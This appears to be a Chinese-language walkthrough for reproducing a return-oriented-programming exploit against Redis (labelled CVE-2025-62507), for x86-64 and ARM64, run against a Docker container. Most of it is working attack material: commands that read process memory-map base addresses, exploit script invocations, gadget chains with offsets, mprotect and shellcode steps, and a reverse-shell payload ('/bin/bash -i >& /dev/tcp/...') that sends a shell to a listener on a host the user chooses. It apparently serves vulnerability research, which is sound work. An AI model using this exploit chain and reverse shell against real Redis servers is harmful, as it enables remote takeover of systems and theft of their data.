scripts/
├── exploit_x86.py          # x86-64 ROP exploit
├── exploit_arm64.py        # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh     # GDB 调试辅助脚本

# 在项目根目录执行
docker compose -f docker-compose-vulnerable.yml up -d

# 确认容器运行
docker ps | grep redis-cve-2025-62507

REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# x86-64 地址获取
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)

echo "REDIS_BASE=$REDIS_BASE  LIBC_BASE=$LIBC_BASE  STACK_ADDR=$STACK_ADDR"

# 在宿主机另开一个终端
nc -lvnp 4444

# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR

# ARM64 (Docker QEMU 固定地址, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]

python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>

52 个填充 ID (1-1)
  │
  ▼
ID#53  overflow ──→ pop rdi; ret     (redis + 0x82327)
ID#54             ──→ pop rsi; ret     (redis + 0x86416)
ID#55             ──→ pop rdx; ret     (redis + 0xba1e2)
ID#56             ──→ mprotect()       (libc  + 0x1019e0)
ID#57             ──→ call rsp         (redis + 0x9486d)
ID#58+            ──→ shellcode ──→ system("/bin/bash -c '...'")

reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"

python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]

49 个填充 ID (1-1)
  │
  ▼
ID#49-58  call() 尾声帧 (10 IDs) — 覆盖 call() 保存的寄存器和局部变量
  │  #49: saved x29 (dummy) + x30 (G5)
  │  #50: saved x19/x20, #51: saved x21(=0)/x22
  │  #52: x23/x24, #53: x25/x26, #54: x27/x28
  │  #55-58: 局部变量 (设为 0)
  │
  ▼  call() ret → SP = stack_addr + 0xa0
  │
ID#59-61  Step 1: G5              (redis + 0x1a4d40)  x0=writable,    → G_SET_X2_7
ID#62-65  Step 2: G_SET_X2_7      (redis + 0x1d7a84)  w2=7,           → LDR_X1_SIDELOAD
ID#66-67  Step 3: LDR_X1_SIDELOAD (libc  + 0x34ab4)   x1=0x1000,      → G5
ID#68-70  Step 4: G5              (redis + 0x1a4d40)  x19=mprotect,   → MOV_X3_X19
ID#71-93  Step 5: MOV_X3_X19      (redis + 0x2948b0)  x3=mprotect,    → LDR_X0_CLEAN
ID#94-95  Step 6: LDR_X0_CLEAN    (libc  + 0x6ae40)   x0=stack_page,  → BLR_X3
ID#96-98  Step 7: BLR_X3          (redis + 0x92bc4)   call mprotect   → shellcode
ID#99+    shellcode — system("/bin/bash -c 'reverse_shell_cmd'")

reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"

# 默认: 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0

# 自定义反弹地址和端口:
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
#                                                                    ^^^^^^^^ ^^^^ ^^^^^^^^^^
#                                                                    rev_host rev_port target

# 获取 Redis PID
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# 启动 GDB 并自动设置断点
./scripts/gdb_with_symbols.sh $REDIS_PID

# xackdelCommand 入口 — 观察正常栈布局
break xackdelCommand

# 第 53 个 streamID 写入后 — 观察返回地址被覆写
# (在循环体内设置条件断点)

# mprotect 调用前 — 验证参数 rdi/rsi/rdx
break mprotect

# system 调用前 — 验证 rdi 指向命令字符串
break system

# 1. 进入 xackdelCommand 后，找到 static_ids 数组位置
(gdb) x/10gx $rbp - 0x340      # x86-64
(gdb) x/10gx $sp                # ARM64

# 2. mprotect 断点触发时，验证参数
(gdb) info registers rdi rsi rdx   # x86-64
(gdb) info registers x0 x1 x2      # ARM64

# 预期: rdi/x0=stack_page, rsi/x1=0x20000, rdx/x2=7

# 3. mprotect 返回后，检查 RAX/X0 (=0 表示成功)
(gdb) finish
(gdb) info registers rax           # x86-64
(gdb) info registers x0            # ARM64

# 4. 观察 shellcode 执行
(gdb) x/20i $rsp                   # x86-64: call rsp 后的 shellcode
(gdb) x/20i $x30                   # ARM64: 跳转前的返回地址

# 停止并删除容器
docker compose -f docker-compose-vulnerable.yml down